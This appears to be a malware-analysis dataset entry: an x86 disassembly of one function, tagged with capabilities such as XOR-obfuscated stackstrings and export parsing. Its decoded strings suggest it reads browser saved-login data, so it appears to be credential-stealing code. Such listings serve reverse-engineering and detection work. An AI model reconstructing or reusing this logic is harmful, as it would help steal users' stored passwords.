Function at 0x410c0a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xb8
mov dword [esp + 0x74], ecx
mov ecx, dword [0x42b8fc]
movzx eax, cl
imul eax, eax, 0x1c
push ebp
push esi
mov esi, edx
mov byte [0x42b8bc], al
lea eax, [ecx + 0x34ba]
mov word [0x42b8dc], ax
call fcn.00420053
movzx ecx, byte [0x42b8bc]
mov ebp, eax
mov eax, 0xe70d
and cx, ax
mov word [0x42b914], cx
test ebp, ebp
je 0x411377
push ebx
xor ebx, ebx
mov dword [esp + 0x24], 0xa28d92db
mov dword [esp + 0x28], 0x8a8d97b6
mov ecx, ebx
mov word [esp + 0x2c], 0x8c91
mov byte [esp + 0x2e], 0x87
mov al, byte [esp + ecx + 0x24]
xor al, 0xfe
movzx eax, al
mov word [esp + ecx*2 + 0x90], ax
inc ecx
cmp ecx, 0xb
jl 0x410c7b
xor eax, eax
mov word [esp + 0xa6], ax
mov al, byte [0x42b8fc]
xor al, 0x54
mov byte [0x42b8bc], al
movzx eax, word [0x42b918]
or eax, 0x23c46928
mov dword [0x42b8fc], eax
lea eax, [esp + 0x90]
push esi
push eax
call fcn.00422def
movzx edx, word [0x42b8dc]
mov esi, eax
xor edx, 0x1cc5bffd
mov dword [esp + 0x8c], esi
pop ecx
pop ecx
mov dword [0x42b8cc], edx
lea ecx, [edx - 0x2d8c0712]
mov dword [0x42b8fc], ecx
mov ecx, edx
and ecx, 0xbfa3
mov word [0x42b914], cx
test esi, esi
je 0x411376
add byte [0x42b8bc], 0xcf
imul eax, ecx, 0x3368
mov ecx, esi
push edi
mov word [0x42b914], ax
lea eax, [edx - 0xe7c]
mov word [0x42b918], ax
call fcn.00422f59
mov dx, word [0x42b8dc]
mov edi, eax
movzx ecx, dx
or ecx, 0xaf48c89d
mov dword [esp + 0x80], edi
test edi, edi
je 0x411359
movzx ecx, byte [0x42b8bc]
xor edx, edx
imul eax, ecx, 0xd658ef1c
mov ecx, 0x636b
mov dword [0x42b8fc], eax
movzx eax, byte [0x42b8bc]
xor ax, cx
mov ecx, edi
mov word [0x42b918], ax
call fcn.00423747
mov si, word [0x42b8dc]
mov dword [esp + 0x48], eax
mov eax, 0x5fe3
add si, ax
movzx eax, si
mov ecx, eax
mov word [0x42b914], si
or ecx, 0xfff8ebb4
mov dword [esp + 0x34], eax
mov dword [0x42b8cc], ecx
mov ecx, esi
and ecx, 0xa4cb
movzx edx, si
mov word [0x42b918], cx
cmp dword [esp + 0x48], ebx
je 0x4112e3
mov eax, dword [0x42b8fc]
or edx, 0x436f
mov esi, dword [esp + 0x48]
add eax, 0xffffd035
mov word [0x42b8dc], ax
movzx eax, ax
and eax, 0x3f8fa5aa
mov word [0x42b918], dx
mov dword [0x42b8cc], eax
mov eax, dword [esp + 0x34]
add eax, 0xb846f703
push ebx
mov dword [0x42b8fc], eax
lea eax, [esp + 0x38]
push 1
push eax
push esi
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x411295
mov dword [esp + 0x4c], 0x878e8791
mov ecx, ebx
mov dword [esp + 0x50], 0xb7e29681
mov dword [esp + 0x54], 0xe2eeaeb0
mov dword [esp + 0x58], 0xaeb6abb6
mov dword [esp + 0x5c], 0x9084e2a7
mov dword [esp + 0x60], 0xb7e28f8d
mov word [esp + 0x64], 0xaeb0
mov byte [esp + 0x66], 0xb1
mov al, byte [esp + ecx + 0x4c]
xor al, 0xc2
mov byte [esp + ecx + 0xac], al
inc ecx
cmp ecx, 0x1b
jl 0x410e5c
mov cx, word [0x42b914]
mov eax, 0x44cf
xor ax, cx
mov byte [esp + 0xc7], bl
mov word [0x42b8dc], ax
movzx eax, cx
xor eax, 0xe8f7e185
mov dword [0x42b8cc], eax
mov eax, 0x32e4
sub cx, ax
movzx eax, byte [0x42b8bc]
and eax, 0xd6a203ee
mov word [0x42b918], cx
mov dword [0x42b8fc], eax
lea eax, [esp + 0x24]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x44]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x411277
mov eax, dword [0x42b8cc]
lea edi, [esp + 0x74]
push dword [esp + 0x24]
lea ecx, [eax + 0x575b]
imul eax, eax, 0x8de32928
mov word [0x42b914], cx
sub cl, 0x18
mov byte [0x42b8bc], cl
mov dword [0x42b8cc], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, word [0x42b918]
xor eax, 0x2b5f3ee9
mov dword [0x42b8fc], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4110e6
mov dword [esp + 0x38], 0x657d605d
mov word [esp + 0x3c], 0x336c
mov byte [esp + 0x3e], 0x29
mov dword [esp + 0x40], 0x82a5fafd
mov word [esp + 0x44], 0xca9c
mov byte [esp + 0x46], 0xd0
mov ecx, ebx
mov al, byte [esp + ecx + 0x38]
xor al, 9
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 7
jl 0x410f55
mov byte [esp + 0x93], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x40]
xor al, 0xf0
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 7
jl 0x410f71
mov byte [esp + 0x2f], bl
mov ecx, ebx
mov dword [esp + 0x10], 0x3f3f0c0f
mov dword [esp + 0x14], 0x3f3f3f3f
mov dword [esp + 0x18], 0x3f3f3f3f
mov dword [esp + 0x1c], 0x3f3f3f3f
mov word [esp + 0x20], 0xf3f
mov byte [esp + 0x22], 0xc
mov al, byte [esp + ecx + 0x10]
sub al, 2
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x13
jl 0x410fb3
movzx ecx, byte [0x42b8bc]
lea edx, [esp + 0x8c]
push 0xffffffffffffffff
mov byte [esp + 0x63], bl
lea eax, [ecx + 0x5027]
mov word [0x42b8dc], ax
lea eax, [ecx + 0x545f]
mov word [0x42b914], ax
lea ecx, [esp + 0x78]
movzx eax, byte [0x42b8bc]
and eax, 0x3da0fd75
mov dword [0x42b8fc], eax
call fcn.004236a5
mov eax, dword [0x42b8fc]
add eax, 0x240d5275
mov dword [0x42b8fc], eax
add eax, 0x22b5
mov word [0x42b914], ax
imul eax, eax, 0x54f6
push 1
push dword [esp + 0x2c]
mov word [0x42b918], ax
call dword [ebp + 0x20]
add esp, 0xc
push eax
push 1
push dword [esp + 0x2c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.004236a5
movzx eax, word [0x42b914]
lea edx, [esp + 0x2c]
xor eax, 0xbc78afa
lea ecx, [esp + 0x78]
push 0xffffffffffffffff
mov dword [0x42b8cc], eax
call fcn.004236a5
mov ax, word [0x42b8dc]
mov ecx, 0x2a33
sub ax, cx
mov word [0x42b918], ax
movzx eax, byte [0x42b8bc]
push ebx
push dword [esp + 0x30]
and eax, 0xf0fb8b8a
mov dword [0x42b8cc], eax
call dword [ebp + 0x20]
add esp, 0x10
push eax
push ebx
push dword [esp + 0x2c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.004236a5
mov al, byte [0x42b918]
lea edx, [esp + 0x50]
xor al, 0xb3
lea ecx, [esp + 0x78]
push 0xffffffffffffffff
mov byte [0x42b8bc], al
call fcn.004236a5
push dword [esp + 0x2c]
call dword [ebp + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x410f53
mov edx, dword [0x42b8fc]
xor edx, 0x61bc6589
mov dword [0x42b8cc], edx
cmp dword [esp + 0x74], ebx
je 0x411270
mov dword [esp + 0x10], 0x64635938
mov dword [esp + 0x14], 0x1f69625f
mov dword [esp + 0x18], 0x4f635c15
mov dword [esp + 0x1c], 0x1e635c15
mov word [esp + 0x20], 0x6864
mov byte [esp + 0x22], 0x64
movzx eax, byte [esp + ebx + 0x10]
mov ecx, 0xff
add ax, 0x10
and ax, cx
mov word [esp + ebx*2 + 0x4c], ax
inc ebx
cmp ebx, 0x13
jl 0x41112e
movzx ecx, word [0x42b918]
xor eax, eax
push dword [esp + 0xcc]
mov word [esp + 0x76], ax
mov eax, 0x8f59
imul ecx, eax
push dword [esp + 0x88]
movzx eax, cx
or ecx, 0xb370
sub eax, 0x694e1d36
mov word [0x42b918], cx
mov dword [0x42b8fc], eax
movzx eax, dl
mov edx, 0x7016
imul eax, eax, 0x65
mov byte [0x42b8bc], al
movzx eax, al
sub ax, dx
mov word [0x42b914], ax
lea eax, [esp + 0x54]
push eax
call fcn.00422def
imul ecx, dword [0x42b8cc], 0xcd35
mov esi, eax
add esp, 0xc
mov word [0x42b914], cx
test esi, esi
je 0x41123e
mov edx, dword [0x42b8fc]
movzx eax, word [0x42b918]
and eax, 0xfca1a8e
push esi
lea ecx, [edx - 0x46]
mov dword [0x42b8cc], eax
and edx, 0xacf4
mov byte [0x42b8bc], cl
mov ecx, dword [esp + 0x78]
mov word [0x42b914], dx
mov edx, dword [esp + 0x80]
call fcn.0041e192
movzx eax, word [0x42b914]
mov ecx, dword [0x42b8cc]
or eax, 0x3cafd663
or ecx, 0x559e
mov dword [0x42b8fc], eax
imul eax, ecx, 0xe606
push esi
mov word [0x42b8dc], cx
mov word [0x42b918], ax
call fcn.004056f0
pop ecx
pop ecx
movzx eax, byte [0x42b8bc]
mov ecx, 0x2e0f
push dword [esp + 0x74]
add ax, cx
mov word [0x42b918], ax
mov eax, dword [0x42b8fc]
add eax, 0xd1933a3f
mov dword [0x42b8cc], eax
call fcn.004056f0
mov esi, dword [esp + 0x4c]
pop ecx
mov edi, dword [esp + 0x80]
movzx ecx, word [0x42b914]
mov eax, 0x7b80
push dword [esp + 0x24]
imul ecx, eax
mov word [0x42b914], cx
call dword [ebp + 0x18]
pop ecx
mov al, byte [0x42b914]
push dword [esp + 0x34]
add al, 0x45
mov byte [0x42b8bc], al
call dword [ebp + 0x1c]
movzx ecx, word [0x42b918]
mov eax, 0x360c
imul ecx, eax
imul eax, dword [0x42b8fc], 0xaa21c44a
push esi
mov word [0x42b8dc], cx
mov dword [0x42b8fc], eax
call fcn.004056f0
mov si, word [0x42b914]
pop ecx
pop ecx
mov cx, word [0x42b918]
movzx edx, cx
mov eax, 0x4621
imul edx, eax
xor ecx, ecx
movzx eax, si
inc ecx
xor eax, 0x394a1426
mov dword [0x42b8fc], eax
push edi
movzx eax, dl
imul eax, eax, 0x22
mov word [0x42b8dc], dx
mov edx, 0x62d87b
mov byte [0x42b8bc], al
call fcn.00415084
call eax
mov eax, 0x7d58
or ax, word [0x42b8dc]
mov word [0x42b918], ax
imul eax, dword [0x42b8fc], 0xba732ef6
push edi
mov dword [0x42b8fc], eax
call fcn.004056f0
mov dx, word [0x42b8dc]
mov esi, dword [esp + 0x8c]
pop ecx
mov ecx, dword [0x42b8fc]
sub dl, 0x6d
or ecx, 0xce917147
push esi
mov byte [0x42b8bc], dl
mov dword [0x42b8fc], ecx
call fcn.004056f0
pop ecx
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xb8
ret